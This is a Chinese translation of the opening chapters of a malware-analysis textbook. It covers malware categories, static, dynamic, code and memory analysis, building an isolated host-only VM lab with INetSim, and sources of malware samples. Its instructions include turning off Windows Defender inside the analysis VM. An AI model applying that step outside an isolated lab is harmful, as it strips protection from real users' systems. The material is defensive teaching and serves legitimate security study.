恶意软件分析学习指南-全-

恶意软件分析学习指南(全)

原文:annas-archive.org/md5/6464eec061058ae554d0950e983941aa

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

计算机和互联网技术的进步改变了我们的生活,并且彻底改革了组织进行商业活动的方式。然而,技术的演变和数字化也带来了网络犯罪活动。对关键基础设施、数据中心以及私营/公共部门、国防、能源、政府和金融领域的网络攻击威胁日益增加,这给从个人到大公司各方都带来了独特的挑战。这些网络攻击利用恶意软件(也称为恶意程序)进行财务盗窃、间谍活动、破坏、知识产权盗窃和政治动机。

随着对手变得更加复杂并进行先进的恶意软件攻击,检测和响应此类入侵对于网络安全专业人员至关重要。恶意软件分析已成为应对高级恶意软件和定向攻击的必备技能。恶意软件分析需要对多种不同技能和学科有均衡的知识。换句话说,学习恶意软件分析需要时间并且需要耐心。

本书教授了使用恶意软件分析来理解 Windows 恶意软件行为和特征的概念、工具和技术。本书首先介绍了恶意软件分析的基本概念,然后逐步深入到更高级的代码分析和内存取证概念。为了帮助你更好地理解这些概念,书中通过实际的恶意软件样本、感染的内存镜像和可视化图表来展示示例。此外,还提供了足够的信息来帮助你理解所需的概念,并且在可能的情况下,提供了额外资源的参考,以供进一步阅读。

如果你是恶意软件分析领域的新手,本书应该能帮助你入门;如果你在该领域已有经验,本书将进一步提升你的知识。无论你是为了进行取证调查、响应事件,还是为了兴趣而学习恶意软件分析,本书都能帮助你实现目标。

本书适合谁

如果你是一个事件响应人员、网络安全调查员、系统管理员、恶意软件分析员、取证专家、学生,或者是对学习或提高恶意软件分析技能感兴趣的安全专业人员,那么本书适合你。

本书内容

第一章恶意软件分析简介,向读者介绍了恶意软件分析的概念、恶意软件分析的类型,以及如何建立一个隔离的恶意软件分析实验环境。

第二章静态分析,教授从恶意二进制文件中提取元数据的工具和技术。它展示了如何比较和分类恶意软件样本。你将学习如何在不执行程序的情况下确定二进制文件的各个方面。

第三章动态分析,教授确定恶意软件行为及其与系统交互的工具和技术。你将学习如何获取与恶意软件相关的网络和主机指示器。

第四章汇编语言与反汇编基础,提供汇编语言的基本理解,并教授进行代码分析所需的基本技能。

第五章使用 IDA 反汇编,介绍IDA Pro反汇编器的功能,你将学习如何使用IDA Pro进行静态代码分析(反汇编)。

第六章调试恶意二进制文件,教授使用x64dbgIDA Pro调试器调试二进制文件的技术。你将学习如何使用调试器控制程序的执行并操纵程序的行为。

第七章恶意软件功能与持久性,描述了使用逆向工程分析恶意软件的各种功能。还涉及恶意程序使用的各种持久性方法。

第八章代码注入与挂钩,教授恶意程序常用的代码注入技术,如何在合法进程中执行恶意代码。还介绍了恶意软件使用的挂钩技术,通过这些技术恶意代码能够重定向控制到恶意代码,以监控、阻止或过滤 API 的输出。你将学习如何分析使用代码注入和挂钩技术的恶意程序。

第九章恶意软件混淆技术,涵盖恶意程序用来隐藏信息的编码、加密和包装技术。它教授了不同的策略来解码/解密数据并解包恶意二进制文件。

第十章使用内存取证狩猎恶意软件,介绍了使用内存取证检测恶意组件的技术。你将学习使用不同的 Volatility 插件来检测和识别内存中的取证痕迹。

第十一章使用内存取证检测高级恶意软件,介绍了高级恶意软件用来躲避取证工具的隐匿技巧。你将学习如何调查和检测用户模式和内核模式的根工具组件。

要最大化利用本书

熟悉编程语言,如 C 和 Python,将会有所帮助(特别是理解第 5、6、7、8 和 9 章中涵盖的概念)。如果你写过一些代码,并对编程概念有基本了解,你将能够最大化地利用本书。

如果你没有编程知识,仍然可以理解第 1、2 和 3 章中涵盖的基本恶意软件分析概念。然而,你可能会觉得理解其余章节中的概念稍显困难。为了帮助你赶上进度,每章都提供了足够的信息和额外的资源,你可能需要额外阅读以完全理解这些概念。

下载彩色图片

我们还提供了一个 PDF 文件,包含本书中使用的截图/图表的彩色图像。你可以在此下载: www.packtpub.com/sites/default/files/downloads/LearningMalwareAnalysis_ColorImages.pdf

使用的约定

本书中使用了多种文本约定。

CodeInText:用于代码示例、文件夹名称、文件名、注册表键和值、文件扩展名、路径名、虚拟 URL、用户输入、函数名称和 Twitter 账号。例如:“将下载的WebStorm-10*.dmg磁盘映像文件作为系统中的另一个磁盘挂载。”

任何命令行输入都会以粗体突出显示,示例如下:

$ sudo inetsim
INetSim 1.2.6 (2016-08-29) by Matthias Eckert & Thomas Hungenberg
Using log directory: /var/log/inetsim/
Using data directory: /var/lib/inetsim/

当我们希望引起你对特定代码或输出部分的注意时,相关的行或项会以粗体显示:

$ python vol.py -f tdl3.vmem --profile=WinXPSP3x86 ldrmodules -p 880
Volatility Foundation Volatility Framework 2.6
Pid Process Base InLoad InInit InMem MappedPath
--- ----------- -------- ----- ------- ----- ----------------------------
880 svchost.exe 0x10000000 False False False \WINDOWS\system32\TDSSoiqh.dll
880 svchost.exe 0x01000000 True False True \WINDOWS\system32\svchost.exe
880 svchost.exe 0x76d30000 True True True \WINDOWS\system32\wmi.dll
880 svchost.exe 0x76f60000 True True True \WINDOWS\system32\wldap32.dll

斜体:用于新术语、重要单词或词组、恶意软件名称以及键盘组合。示例:按Ctrl + C复制

屏幕文本:菜单或对话框中的文字会像这样出现在正文中。示例:从管理面板中选择“系统信息”。

警告或重要提示会以这种方式出现。提示和技巧会以这种方式出现。

联系我们

我们始终欢迎读者的反馈。

一般反馈:请通过电子邮件feedback@packtpub.com与我们联系,并在邮件主题中提到书名。如果你对本书的任何内容有疑问,请发送邮件至questions@packtpub.com

勘误:虽然我们已经尽最大努力确保内容的准确性,但错误仍然会发生。如果您在本书中发现任何错误,我们将不胜感激,如果您能向我们报告。请访问 www.packtpub.com/submit-errata,选择您的书籍,点击“勘误提交表单”链接,并输入相关详情。

盗版:如果您在互联网上发现任何我们作品的非法复制品,我们将不胜感激,如果您能提供该素材的地址或网站名称。请通过copyright@packtpub.com与我们联系,并附上该资料的链接。

如果您有兴趣成为作者:如果您在某个领域拥有专业知识,并且有兴趣写作或为书籍贡献内容,请访问 authors.packtpub.com

评论

请留下评论。阅读并使用本书后,为什么不在您购买书籍的网站上留下您的评论呢?潜在读者可以看到并参考您的公正意见来做出购买决策,我们也能了解您对我们产品的看法,而我们的作者也能看到您对其书籍的反馈。谢谢!

若想了解更多有关 Packt 的信息,请访问 packtpub.com

第一章:恶意软件分析简介

网络攻击数量无疑在增加,攻击目标包括政府、军事、公共和私营部门。这些网络攻击集中在攻击个人或组织,企图窃取有价值的信息。有时,这些网络攻击被认为与网络犯罪或国家支持的团体有关,但也可能是由个人团体为实现目标而实施的。这些网络攻击大多数使用恶意软件(也称为恶意程序)来感染目标。分析恶意软件所需的知识、技能和工具对于检测、调查和防御此类攻击至关重要。

在本章中,你将学习以下内容:

  • 恶意软件的含义及其在网络攻击中的作用

  • 恶意软件分析及其在数字取证中的重要性

  • 不同类型的恶意软件分析

  • 设置实验室环境

  • 获取恶意软件样本的各种来源

1. 什么是恶意软件?

恶意软件是执行恶意操作的代码;它可以是可执行文件、脚本、代码或任何其他软件。攻击者使用恶意软件来窃取敏感信息、监视感染的系统或控制该系统。它通常未经你同意便进入你的系统,可以通过多种通信渠道传播,如电子邮件、网页或 USB 驱动器。

以下是恶意软件执行的一些恶意操作:

  • 干扰计算机操作

  • 窃取敏感信息,包括个人、商业和财务数据

  • 未经授权访问受害者的系统

  • 监视受害者

  • 发送垃圾邮件

  • 参与分布式拒绝服务攻击(DDOS)

  • 锁定计算机上的文件并勒索赎金

恶意软件是一个广泛的术语,指的是不同类型的恶意程序,如特洛伊木马、病毒、蠕虫和 Rootkit。在进行恶意软件分析时,你经常会遇到各种类型的恶意程序;这些恶意程序通常根据其功能和攻击方式进行分类,如下所示:

  • 病毒或蠕虫:能够自我复制并传播到其他计算机的恶意软件。病毒需要用户干预,而蠕虫可以在没有用户干预的情况下传播。

  • 特洛伊木马:一种伪装成普通程序的恶意软件,诱使用户将其安装到系统中。安装后,它可以执行恶意操作,如窃取敏感数据、将文件上传到攻击者的服务器或监控摄像头。

  • 后门 / 远程访问木马(RAT):这是一种特洛伊木马,它允许攻击者访问并执行被攻击系统上的命令。

  • 广告软件:一种向用户展示不需要的广告(广告)的恶意软件。通常通过免费下载传播,并可以强制在你的系统上安装软件。

  • 僵尸网络:这是一个由感染了相同恶意软件(称为僵尸)的计算机组成的群体,等待从攻击者控制的指挥与控制服务器接收指令。攻击者可以向这些僵尸发送命令,执行恶意活动,如分布式拒绝服务(DDOS)攻击或发送垃圾邮件。

  • 信息窃取器:旨在窃取敏感数据(如银行凭证或键盘输入)从被感染系统的恶意软件。这些恶意程序的示例包括键盘记录器、间谍软件、嗅探器和表单抓取器。

  • 勒索软件:通过将用户锁定在计算机外或加密文件来控制系统的恶意软件。

  • Rootkit(根套件):恶意软件,能够为攻击者提供对被感染系统的特权访问,并隐藏其自身或其他软件的存在。

  • 下载器或投放器:旨在下载或安装额外恶意软件组件的恶意软件。

有一个便捷的资源可以帮助了解恶意软件术语和定义,访问链接:blog.malwarebytes.com/glossary/

基于功能对恶意软件进行分类可能并不总是可行的,因为单一恶意软件可能包含多个功能,而这些功能可能属于刚才提到的多个类别。例如,恶意软件可能包括一个蠕虫组件,扫描网络寻找易受攻击的系统,并在成功利用后投放另一个恶意软件组件,如后门勒索软件

恶意软件分类也可以根据攻击者的动机进行。例如,如果恶意软件用于窃取个人、商业或专有信息以获取利润,则可以将其分类为犯罪软件商品恶意软件。如果恶意软件用于针对特定组织或行业,窃取信息/收集情报以进行间谍活动,则可以将其分类为定向恶意软件间谍恶意软件

2. 什么是恶意软件分析?

恶意软件分析是研究恶意软件行为的过程。恶意软件分析的目的是了解恶意软件的工作原理,以及如何检测和消除它。它包括在安全环境中分析可疑的二进制文件,识别其特征和功能,从而构建更好的防御措施以保护组织的网络。

3. 为什么进行恶意软件分析?

执行恶意软件分析的主要动机是从恶意软件样本中提取信息,帮助应对恶意软件事件。恶意软件分析的目标是确定恶意软件的能力,检测它并将其隔离。它还帮助确定可识别的模式,这些模式可以用于治愈和防止未来的感染。以下是你进行恶意软件分析的一些原因:

  • 确定恶意软件的性质和目的。例如,它可以帮助你判断恶意软件是否是信息窃取者、HTTP 机器人、垃圾邮件机器人、Rootkit、键盘记录器或 RAT 等。

  • 了解系统是如何被攻破的及其影响。

  • 识别与恶意软件相关的网络指标,这些指标可以用于通过网络监控检测类似的感染。例如,在你的分析过程中,如果你确定恶意软件与某个特定的域名/IP 地址进行通信,那么你可以使用这个域名/IP 地址创建一个签名,并监控网络流量,以识别所有与该域名/IP 地址通信的主机。

  • 提取基于主机的指标,如文件名和注册表键,这些可以用于通过主机监控确定类似的感染。例如,如果你发现某个恶意软件创建了一个注册表键,你可以将这个注册表键作为一个指标,创建一个签名,或者扫描你的网络以识别具有相同注册表键的主机。

  • 确定攻击者的意图和动机。例如,在你的分析过程中,如果发现恶意软件窃取银行凭证,那么你可以推断出攻击者的动机是为了经济利益。

威胁情报团队通常使用通过恶意软件分析确定的指标来分类攻击,并将其归类为已知的威胁。恶意软件分析可以帮助你获取关于谁可能是攻击背后的人(竞争对手、国家支持的攻击组织等)的信息。

4. 恶意软件分析类型

要理解恶意软件的工作原理和特征,并评估其对系统的影响,通常需要使用不同的分析技术。以下是这些分析技术的分类:

  • 静态分析:这是在不执行二进制文件的情况下分析其过程。它是最容易执行的,允许你提取与可疑二进制文件相关的元数据。静态分析可能不会揭示所有所需的信息,但有时能提供有趣的信息,帮助你确定接下来分析的重点。第二章,静态分析,涵盖了使用静态分析从恶意软件二进制文件中提取有用信息的工具和技术。

  • 动态分析(行为分析):这是在隔离环境中执行可疑二进制文件并监控其行为的过程。此分析技术容易执行,并且可以提供二进制文件执行过程中的活动的有价值的洞察。该分析技术有用,但不能揭示恶意程序的所有功能。第三章,动态分析,涵盖了使用动态分析确定恶意软件行为的工具和技术。

  • 代码分析:这是一种高级技术,专注于分析代码以理解二进制文件的内部工作原理。这项技术揭示了仅通过静态和动态分析无法得出的信息。代码分析进一步分为静态代码分析动态代码分析静态代码分析包括反汇编可疑的二进制文件,并查看代码以理解程序的行为,而动态代码分析则是在受控环境中调试可疑的二进制文件,以理解其功能。代码分析需要了解编程语言和操作系统的概念。接下来的章节(第 4 到第九章)将介绍执行代码分析所需的知识、工具和技术。

  • 内存分析(内存取证):这是分析计算机 RAM 中的取证痕迹的技术。通常这是一种取证技术,但将其整合到恶意软件分析中将有助于了解恶意软件感染后的行为。内存分析对于确定恶意软件的隐蔽性和回避能力特别有用。在随后的章节中(第 10 和第十一章),你将学习如何进行内存分析。

在进行恶意软件分析时,整合不同的分析技术可以揭示大量的上下文信息,这对你的恶意软件调查将非常有价值。

5. 设置实验室环境

恶意程序的分析需要一个安全的实验室环境,因为你不希望感染你的系统或生产系统。恶意软件实验室可以根据可用资源(硬件、虚拟化软件、Windows 许可证等)来设立得很简单或很复杂。本节将指导你在单一物理系统上设置一个简单的个人实验室,实验室由虚拟机(VMs)组成。如果你希望设置一个类似的实验室环境,可以随时跟着操作,或者跳到下一节(第六部分:恶意软件来源)。

5.1 实验室需求

在开始搭建实验室之前,你需要一些组件:一个运行基础操作系统LinuxWindowsmacOS X物理系统,并安装虚拟化软件(如VMwareVirtualBox)。在分析恶意软件时,你将会在基于 Windows 的虚拟机(Windows VM)上执行恶意软件。使用虚拟机的好处是,在完成恶意软件分析后,你可以将其恢复到干净的状态。

VMware Workstation(适用于 Windows 和 Linux)可从 www.vmware.com/products/workstation/workstation-evaluation.html 下载,VMware Fusion(适用于 macOS X)可从 www.vmware.com/products/fusion/fusion-evaluation.html 下载,适用于不同操作系统版本的 VirtualBox 可从 www.virtualbox.org/wiki/Downloads 下载。

为了创建一个安全的实验室环境,你应该采取必要的预防措施,避免恶意软件从虚拟化环境中逃逸并感染你的物理(主机)系统。以下是设置虚拟化实验室时需要记住的几点:

  • 保持你的虚拟化软件更新。这是必要的,因为恶意软件可能会利用虚拟化软件中的漏洞,从虚拟环境逃逸并感染主机系统。

  • 在虚拟机(VM)内安装一个全新的操作系统副本,并且不要在虚拟机中存放任何敏感信息。

  • 在分析恶意软件时,如果你不希望恶意软件连接到互联网,那么你应该考虑使用 仅主机 网络配置模式,或通过使用模拟服务将你的网络流量限制在实验室环境内。

  • 不要连接任何可能后来用于物理机器的可移动媒体,如 USB 驱动器。

  • 由于你将分析 Windows 恶意软件(通常是可执行文件或 DLL),建议为主机机器选择一个基础操作系统,如 Linux 或 macOS X,而不是 Windows。这是因为即使 Windows 恶意软件从虚拟机逃逸,它仍然无法感染你的主机机器。

5.2 实验室架构概述

本书中将使用的实验室架构包括一台运行 Ubuntu Linux物理机器(称为主机机器),以及多个 Linux 虚拟机(Ubuntu Linux 虚拟机)Windows 虚拟机(Windows 虚拟机) 实例。这些虚拟机会配置在同一网络中,并使用 仅主机 网络配置模式,以确保恶意软件无法连接互联网,且网络流量被隔离在实验室环境内。

Windows 虚拟机 是分析过程中执行恶意软件的地方,而 Linux 虚拟机 用于监控网络流量,并将配置为模拟互联网服务(如 DNS、HTTP 等),以便在恶意软件请求这些服务时提供适当的响应。例如,Linux 虚拟机会被配置为当恶意软件请求 DNS 服务时,提供正确的 DNS 响应。第三章,动态分析,详细介绍了这一概念。

以下图显示了一个简单的实验室架构示例,我将在本书中使用。在此设置中,Linux 虚拟机 将预配置为 IP 地址 192.168.1.100,而 Windows 虚拟机 的 IP 地址将设置为 192.168.1.x(其中 x 为 1254 之间的任何数字,除了 100)。Windows 虚拟机的默认网关和 DNS 将设置为 Linux 虚拟机的 IP 地址(即 192.168.1.100),以便所有 Windows 网络流量都通过 Linux 虚拟机路由。接下来的部分将指导您设置 Linux 虚拟机和 Windows 虚拟机以匹配此设置。

您不必局限于前面图示的实验室架构;可以有不同的实验室配置,无法为每种可能的配置提供说明。在本书中,我将向您展示如何设置并使用前述图中的实验室架构。

也可以设置一个包含多个运行不同版本 Windows 的虚拟机的实验室;这样可以在不同版本的 Windows 操作系统上分析恶意软件样本。包含多个 Windows 虚拟机的示例配置类似于以下图所示:

5.3 设置和配置 Linux 虚拟机

要设置 Linux 虚拟机,我将使用 Ubuntu 16.04.2 LTS Linux 发行版 (releases.ubuntu.com/16.04/)。我选择 Ubuntu 的原因是,本书中涉及的大多数工具要么已经预安装,要么可以通过 apt-get 包管理器获得。以下是配置 Ubuntu 16.04.2 LTSVMwareVirtualBox 上的逐步流程。根据您系统上安装的虚拟化软件(VMwareVirtualBox),可以自由遵循此处提供的说明:

如果您不熟悉安装和配置虚拟机,请参考 VMware 的指南:pubs.vmware.com/workstation-12/topic/com.vmware.ICbase/PDF/workstation-pro-12-user-guide.pdf 或 VirtualBox 用户手册 (www.virtualbox.org/manual/UserManual.html)。

  1. releases.ubuntu.com/16.04/ 下载 Ubuntu 16.04.2 LTS,并将其安装到 VMware Workstation/Fusion 或 VirtualBox 中。如果您希望安装其他版本的 Ubuntu Linux,只要您能够安装包并解决依赖问题,您可以自由选择。

  2. 在 Ubuntu 上安装 虚拟化工具;这将允许 Ubuntu 的屏幕分辨率自动调整以匹配你的显示器几何形状,并提供额外的增强功能,例如能够共享剪贴板内容,以及在主机和 Linux 虚拟机 之间进行复制/粘贴或拖放文件。要在 VMware Workstation 或 VMware Fusion 上安装虚拟化工具,你可以按照此链接中的步骤,或观看此视频。安装完成后,重启系统。

  3. 如果你使用的是 VirtualBox,你必须安装 Guest Additions 软件。为此,在 VirtualBox 菜单中选择 设备 | 插入客户机附加 CD 镜像。这将打开 Guest Additions 对话框。然后点击运行以从虚拟 CD 调用安装程序。提示时输入密码并重启系统。

  4. 一旦 Ubuntu 操作系统和虚拟化工具安装完成,启动 Ubuntu 虚拟机并安装以下工具和包。

  5. 安装 pip;pip 是一个包管理系统,用于安装和管理用 Python 编写的包。在本书中,我将运行一些 Python 脚本,其中一些依赖于第三方库。为了自动化安装第三方包,你需要安装 pip。在终端运行以下命令来安装并升级 pip

$ sudo apt-get update
$ sudo apt-get install python-pip
$ pip install --upgrade pip

以下是本书中将使用的一些工具和 Python 包。要安装这些工具和 Python 包,请在终端中运行以下命令:

$ sudo apt-get install python-magic
$ sudo apt-get install upx
$ sudo pip install pefile
$ sudo apt-get install yara
$ sudo pip install yara-python
$ sudo apt-get install ssdeep
$ sudo apt-get install build-essential libffi-dev python python-dev \ libfuzzy-dev
$ sudo pip install ssdeep
$ sudo apt-get install wireshark
$ sudo apt-get install tshark
  1. INetSim (www.inetsim.org/index.html) 是一个强大的工具,可以模拟恶意软件常常需要与之交互的各种互联网服务(例如 DNS 和 HTTP)。稍后,你将了解如何配置 INetSim 来模拟这些服务。要安装 INetSim,请使用以下命令。INetSim 的使用将在第三章中详细介绍,标题为 动态分析。如果你在安装 INetSim 时遇到困难,请参考文档 (www.inetsim.org/packages.html):
$ sudo su 
# echo "deb http://www.inetsim.org/debian/ binary/" > \ /etc/apt/sources.list.d/inetsim.list
# wget -O - http://www.inetsim.org/inetsim-archive-signing-key.asc | \ 
apt-key add -
# apt update
# apt-get install inetsim
  1. 现在,你可以通过配置虚拟设备使用 Host-only 网络模式来隔离 Ubuntu 虚拟机。在 VMware 中,打开网络适配器设置并选择 Host-only 模式,如下图所示。保存设置并重启虚拟机。

在 VirtualBox 中,关闭 Ubuntu 虚拟机,然后打开设置。选择网络并将适配器设置更改为 Host-only Adapter,如下图所示;点击确定。

在 VirtualBox 中,有时选择 Host-only 适配器选项时,接口名称可能显示为未选择。在这种情况下,你需要首先通过导航到文件|首选项|网络|Host-only 网络|添加 Host-only 网络来创建至少一个 Host-only 接口。点击确定,然后bring 上设置。选择网络并将适配器设置更改为 Host-only 适配器,如下图所示。点击确定。

  1. 现在我们将为 Ubuntu Linux 虚拟机分配一个静态 IP 地址192.168.1.100。为此,启动 Linux 虚拟机,打开终端窗口,输入命令ifconfig,并记录下接口名称。在我的情况下,接口名称是ens33。在你的情况下,接口名称可能会有所不同。如果不同,你需要根据以下步骤做出相应的更改 使用以下命令打开/etc/network/interfaces文件:
$ sudo gedit /etc/network/interfaces

在文件末尾添加以下条目(确保将ens33替换为系统中的接口名称),并保存文件:

auto ens33
iface ens33 inet static
address 192.168.1.100
netmask 255.255.255.0

/etc/network/interfaces文件现在应如下所示。新增的条目已在此高亮显示:

# interfaces(5) file used by ifup(8) and ifdown(8)
auto lo
iface lo inet loopback

auto ens33
iface ens33 inet static
address 192.168.1.100
netmask 255.255.255.0

然后重新启动 Ubuntu Linux 虚拟机。此时,Ubuntu 虚拟机的 IP 地址应已设置为192.168.1.100。你可以通过运行以下命令来验证:

$ ifconfig
ens33 Link encap:Ethernet HWaddr 00:0c:29:a8:28:0d 
inet addr:192.168.1.100 Bcast:192.168.1.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fea8:280d/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:21 errors:0 dropped:0 overruns:0 frame:0
TX packets:49 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000 
RX bytes:5187 (5.1 KB) TX bytes:5590 (5.5 KB)
  1. 下一步是配置INetSim,使其能够在配置的 IP 地址192.168.1.100上监听并模拟所有服务。默认情况下,它监听本地接口(127.0.0.1),需要将其更改为192.168.1.100。为此,使用以下命令打开位于/etc/inetsim/inetsim.conf的配置文件:
$ sudo gedit /etc/inetsim/inetsim.conf

转到配置文件中的service_bind_address部分,并添加以下条目:

service_bind_address   192.168.1.100

配置文件中添加的条目(高亮显示)应如下所示:

# service_bind_address
#
# IP address to bind services to
#
# Syntax: service_bind_address <IP address>
#
# Default: 127.0.0.1
#
#service_bind_address 10.10.10.1
service_bind_address 192.168.1.100

默认情况下,INetSim 的 DNS 服务器会将所有域名解析到127.0.0.1。我们希望将域名解析到192.168.1.100(Linux 虚拟机的 IP 地址)。为此,转到配置文件中的dns_default_ip部分,并添加如下所示的条目:

dns_default_ip  192.168.1.100

配置文件中添加的条目(在以下代码中高亮显示)应如下所示:

# dns_default_ip
#
# Default IP address to return with DNS replies
#
# Syntax: dns_default_ip <IP address>
#
# Default: 127.0.0.1
#
#dns_default_ip 10.10.10.1
dns_default_ip 192.168.1.100

配置更改完成后,保存配置文件并启动 INetSim 主程序。验证所有服务是否正常运行,并检查inetsim是否在192.168.1.100上监听,如以下代码中高亮显示的那样。你可以通过按CTRL+C停止服务:

$ sudo inetsim
INetSim 1.2.6 (2016-08-29) by Matthias Eckert & Thomas Hungenberg
Using log directory: /var/log/inetsim/
Using data directory: /var/lib/inetsim/
Using report directory: /var/log/inetsim/report/
Using configuration file: /etc/inetsim/inetsim.conf
=== INetSim main process started (PID 2640) ===
Session ID: 2640
Listening on: 192.168.1.100
Real Date/Time: 2017-07-08 07:26:02
Fake Date/Time: 2017-07-08 07:26:02 (Delta: 0 seconds)
 Forking services...
 * irc_6667_tcp - started (PID 2652)
 * ntp_123_udp - started (PID 2653)
 * ident_113_tcp - started (PID 2655)
 * time_37_tcp - started (PID 2657)
 * daytime_13_tcp - started (PID 2659)
 * discard_9_tcp - started (PID 2663)
 * echo_7_tcp - started (PID 2661)
 * dns_53_tcp_udp - started (PID 2642)
 [..........REMOVED.............]
 * http_80_tcp - started (PID 2643)
 * https_443_tcp - started (PID 2644)
 done.
Simulation running.
  1. 有时,你需要在主机和虚拟机之间传输文件。要在VMware上启用此功能,请关闭虚拟机并打开设置。选择选项|访客隔离,然后勾选启用拖放和启用复制粘贴。保存设置。

Virtualbox 中,当虚拟机处于关闭状态时,进入设置 | 常规 | 高级,确保共享剪贴板和拖放功能都设置为双向。点击 OK 保存设置。

  1. 此时,Linux 虚拟机已配置为使用 Host-only 模式,并且 INetSim 已设置为模拟所有服务。最后一步是创建一个快照(干净快照),并给它取一个你选择的名称,这样你在需要时可以将其恢复到干净的状态。在 VMware Workstation 中,点击 VM | Snapshot | Take Snapshot 来创建快照。在 VirtualBox 中,同样可以通过点击 Machine | Take Snapshot 来完成。

除了 拖放 功能外,还可以通过共享文件夹将文件从宿主机传输到虚拟机;有关 VirtualBox 的说明,请参考以下链接(www.virtualbox.org/manual/ch04.html#sharedfolders),有关 VMware 的说明,请参考以下链接(docs.vmware.com/en/VMware-Workstation-Pro/14.0/com.vmware.ws.using.doc/GUID-AACE0935-4B43-43BA-A935-FC71ABA17803.html)。

5.4 设置和配置 Windows 虚拟机

在设置 Windows 虚拟机之前,首先需要在虚拟化软件(如 VMware 或 VirtualBox)中安装你选择的 Windows 操作系统(例如 Windows 7、Windows 8 等)。安装 Windows 后,按照以下步骤操作:

  1. www.python.org/downloads/ 下载 Python。确保下载 Python 2.7.x 版本(例如 2.7.13);本书中使用的大多数脚本是为 Python 2.7 版本编写的,可能无法在 Python 3 中正确运行。下载文件后,运行安装程序。确保勾选安装 pip 以及将 python.exe 添加到路径中的选项,如下截图所示。安装 pip 可以方便地安装任何第三方 Python 库,添加 Python 到路径中则可以在任何位置运行 Python。

  1. 将 Windows 虚拟机配置为使用 Host-only 网络配置模式。要在 VMware 或 VirtualBox 中做到这一点,请打开网络设置并选择 Host-only 模式;保存设置后重启虚拟机 (此步骤类似于 设置和配置 Linux 虚拟机 部分的内容)

  2. 将 Windows 虚拟机的 IP 地址配置为 192.168.1.x(选择任何 IP 地址,但不能是 192.168.1.100,因为该 IP 已配置给 Linux 虚拟机使用),并将默认网关和 DNS 服务器设置为 Linux 虚拟机的 IP 地址(即 192.168.1.100),如下面的截图所示 这样配置是为了在我们执行 Windows 虚拟机上的恶意程序时,所有的网络流量都会通过 Linux 虚拟机进行转发。

  1. 启动 Linux 虚拟机和 Windows 虚拟机,并确保它们可以相互通信。您可以通过运行 ping 命令来检查连接性,如此屏幕截图所示:

  1. Windows Defender 服务需要在您的 Windows 虚拟机上禁用,因为在执行恶意软件样本时可能会产生干扰。要做到这一点,请按下Windows 键 + R打开运行菜单,输入gpedit.msc,然后按Enter启动本地组策略编辑器。在本地组策略编辑器的左侧窗格中,导航至计算机配置 | 管理模板 | Windows 组件 | Windows Defender。在右侧窗格中,双击“关闭 Windows Defender 策略”进行编辑;然后选择启用并点击确定:

  1. 为了能够在主机机器和 Windows 虚拟机之间传输文件(拖放)和复制剪贴板内容,请按照Linux 虚拟机设置和配置部分的第 7 步中提到的说明进行操作。

  2. 创建一个干净的快照,以便在每次分析后恢复到原始/干净状态。拍摄快照的步骤在Linux 虚拟机设置和配置部分的第 10 步中已经介绍过。

此时,您的实验环境应该已经准备就绪。您的干净快照中的 Linux 和 Windows 虚拟机应该处于仅主机网络模式,并且应该能够彼此通信。在本书中,我将介绍各种恶意软件分析工具;如果您希望使用这些工具,您可以将它们复制到虚拟机上的干净快照中。为了保持您的干净快照最新,只需将这些工具传输/安装到虚拟机上,并创建一个新的干净快照。

6. 恶意软件来源

一旦您建立了实验室,您将需要恶意软件样本进行分析。在本书中,我在示例中使用了各种恶意软件样本,由于这些样本来自真实攻击,我决定不随书分发它们,因为分发此类样本可能存在法律问题。您可以通过搜索各种恶意软件存储库来找到它们(或类似样本)。以下是一些可以获取用于分析的恶意软件样本的来源。其中一些来源允许您免费下载恶意软件样本(或免费注册后),而一些则要求您联系所有者建立账户,之后您将能够获取样本:

你可以在 Lenny Zeltser 的博客文章中找到指向其他各种恶意软件来源的链接,网址为zeltser.com/malware-sample-sources/

如果上述方法都不适用,并且你希望获取本书中使用的恶意软件样本,请随时联系作者。

概述

在分析恶意程序之前,建立一个隔离的实验室环境至关重要。在进行恶意软件分析时,你通常会运行敌对代码以观察其行为,因此,拥有一个隔离的实验室环境将防止恶意代码意外传播到你的系统或网络中的生产系统。在下一章中,你将学习如何使用静态分析提取恶意软件样本中的有价值信息。

第二章:静态分析

静态分析是分析可疑文件的一种技术,无需执行它。这是一种初步的分析方法,涉及从可疑二进制文件中提取有用的信息,以便做出明智的决策,决定如何分类或分析它,以及接下来分析工作的重点。本章将介绍多种工具和技术,用于从可疑二进制文件中提取有价值的信息。

本章将学习以下内容:

  • 识别恶意软件的目标架构

  • 病毒指纹识别

  • 使用杀毒引擎扫描可疑二进制文件

  • 提取与文件相关的字符串、函数和元数据

  • 识别用来阻碍分析的混淆技术

  • 分类和比较恶意软件样本

这些技术可以揭示关于文件的不同信息。并不要求必须遵循所有这些技术,也不需要按呈现的顺序来执行。使用哪些技术取决于你的目标和可疑文件周围的上下文。

1. 确定文件类型

在分析过程中,确定可疑二进制文件的文件类型将帮助你识别恶意软件的目标操作系统(如 Windows、Linux 等)和架构(32 位或 64 位平台)。例如,如果可疑的二进制文件是Portable ExecutablePE)文件类型,这是 Windows 可执行文件(.exe.dll.sys.drv.com.ocx等)的文件格式,那么你可以推测该文件是为 Windows 操作系统设计的。

大多数基于 Windows 的恶意软件都是以.exe.dll.sys等扩展名结尾的可执行文件。但仅仅依靠文件扩展名是不推荐的。文件扩展名并不是文件类型的唯一指标。攻击者通过修改文件扩展名和改变文件外观,利用各种技巧隐藏其文件,诱使用户执行它。与其依赖文件扩展名,不如使用文件签名来确定文件类型。

文件签名是写入文件头部的唯一字节序列。不同的文件具有不同的签名,可以用来识别文件的类型。Windows 可执行文件,也叫做PE 文件(例如以.exe.dll.com.drv.sys等结尾的文件),其文件签名是MZ或十六进制字符4D 5A,位于文件的前两个字节。

一个方便的资源可以帮助确定不同文件类型的文件签名,基于它们的扩展名,网址为www.filesignatures.net/

1.1 使用手动方法识别文件类型

确定文件类型的手动方法是通过在十六进制编辑器中打开文件查找 文件签名十六进制编辑器 是一种工具,它允许检查人员检查文件的每个字节;大多数十六进制编辑器提供许多功能,帮助分析文件。以下截图展示了使用 HxD 十六进制编辑器mh-nexus.de/en/hxd/)打开可执行文件时,前两个字节中的文件签名 MZ

在选择 Windows 的十六进制编辑器时,你有很多选项;这些十六进制编辑器提供不同的功能。有关各种十六进制编辑器的列表和比较,请参阅此链接:en.wikipedia.org/wiki/Comparison_of_hex_editors

